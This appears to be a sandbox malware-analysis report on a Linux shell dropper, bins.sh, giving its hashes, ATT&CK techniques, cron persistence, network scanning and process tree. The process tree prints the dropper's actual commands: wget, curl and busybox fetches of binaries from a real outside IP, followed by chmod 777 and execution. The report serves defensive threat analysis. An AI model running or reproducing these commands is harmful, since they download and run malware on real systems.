d282873524efa06a7da01fcdc8105d7b38d00579aae047bf2a561281496ad94c

Analysis

max time kernel
14s
max time network
149s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240729-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240729-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
21/11/2024, 09:29

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General

Target

bins.sh
Size

10KB
MD5

035db69b6641b2570b2aeb119a1bf0eb
SHA1

3d7e86cce19e5e17794bc983f9c7cb965a9be5d3
SHA256

d282873524efa06a7da01fcdc8105d7b38d00579aae047bf2a561281496ad94c
SHA512

4d9f71e04134b17336fdffc586b33f72cba71b89bb130cd4745bdcc0a354295d89ed5f83861c0fab5b6b1c8c3ef2000defa6468297c9b3c08d0a671b12d23080
SSDEEP

96:HD/t0NwtE/f4xZsrbxp9enzVlVo0MDK8p9edl2OVlVo09kdwv/t0NwtE/fD/sm8b:HDGboGQ5

Score

9^/10

defense_evasion discovery execution persistence privilege_escalatio

Malware Config

Signatures

Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Contacts a large (2000) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1520	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu	1521	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu

Renames itself 1 IoCs

pid	Process
1522	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.KdrvUF	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/1547/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
File opened for reading	/proc/1616/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
File opened for reading	/proc/1515/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
File opened for reading	/proc/1588/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
File opened for reading	/proc/1634/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
File opened for reading	/proc/174/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
File opened for reading	/proc/1510/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
File opened for reading	/proc/1599/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
File opened for reading	/proc/434/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
File opened for reading	/proc/1101/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
File opened for reading	/proc/1137/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
File opened for reading	/proc/1567/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
File opened for reading	/proc/1575/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
File opened for reading	/proc/1593/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
File opened for reading	/proc/1597/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
File opened for reading	/proc/78/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
File opened for reading	/proc/170/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
File opened for reading	/proc/464/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
File opened for reading	/proc/1295/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
File opened for reading	/proc/1573/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
File opened for reading	/proc/1582/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
File opened for reading	/proc/329/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
File opened for reading	/proc/605/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
File opened for reading	/proc/1544/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
File opened for reading	/proc/1611/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
File opened for reading	/proc/711/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
File opened for reading	/proc/4/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
File opened for reading	/proc/6/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
File opened for reading	/proc/10/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
File opened for reading	/proc/160/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
File opened for reading	/proc/162/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
File opened for reading	/proc/269/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
File opened for reading	/proc/1587/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
File opened for reading	/proc/1590/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
File opened for reading	/proc/5/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
File opened for reading	/proc/12/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
File opened for reading	/proc/172/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
File opened for reading	/proc/178/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
File opened for reading	/proc/1528/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
File opened for reading	/proc/1568/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
File opened for reading	/proc/1639/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
File opened for reading	/proc/1174/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
File opened for reading	/proc/1551/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
File opened for reading	/proc/1570/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
File opened for reading	/proc/31/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
File opened for reading	/proc/36/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
File opened for reading	/proc/1549/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
File opened for reading	/proc/1586/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
File opened for reading	/proc/1632/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
File opened for reading	/proc/422/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
File opened for reading	/proc/1191/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
File opened for reading	/proc/1317/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
File opened for reading	/proc/1555/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
File opened for reading	/proc/1557/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
File opened for reading	/proc/1591/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
File opened for reading	/proc/1556/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
File opened for reading	/proc/1577/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
File opened for reading	/proc/1344/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
File opened for reading	/proc/1527/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
File opened for reading	/proc/493/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
File opened for reading	/proc/521/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
File opened for reading	/proc/678/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
File opened for reading	/proc/1190/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
File opened for reading	/proc/1569/cmdline	m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu

Writes file to tmp directory 3 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu	wget
File opened for modification	/tmp/m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu	curl
File opened for modification	/tmp/m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:1512
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1513
- /usr/bin/wget
  wget http://216.126.231.240/bins/m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
  2⤵
  - Writes file to tmp directory
  PID:1514
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
  2⤵
  - Writes file to tmp directory
  PID:1518
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
  2⤵
  - Writes file to tmp directory
  PID:1519
- /bin/chmod
  chmod 777 m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
  2⤵
  - File and Directory Permissions Modification
  PID:1520
- /tmp/m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
  ./m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:1521
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:1523
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:1524
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:1525
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:1526
- /bin/rm
  rm m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu
  2⤵
  PID:1528
- /usr/bin/wget
  wget http://216.126.231.240/bins/0yfWw404qIDxnke9uwoNXxgUfHW5E9qRG4
  2⤵
  PID:1531

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/m6p93bbJaS6x4yMrzqOvx71GPFSL5YorKu

Filesize
98KB

MD5
5141342d0df8699fa32a6b066a0c592e

SHA1
8157673225bd5182f16215e2aa823a25ca2d4fbc

SHA256
54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

SHA512
d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

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/var/spool/cron/crontabs/tmp.KdrvUF

Filesize
210B

MD5
5e70dfcb5e6ba17dca8f48aff65e863f

SHA1
d16f3841073e4aba14b6d5e8dd2404c05bf4ab22

SHA256
0d1ea33d32532afa3dec203554fbb9667abff4d6ae87a50459157c64f3bea6c0

SHA512
7cba4d682a8b7b221959ca660c4fc7953c8fa9f3febc29605e6835d34993a363ae097350a68344ff1710ac10f85d7e9f748d48326607da3a07d0ca55ede149d5

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads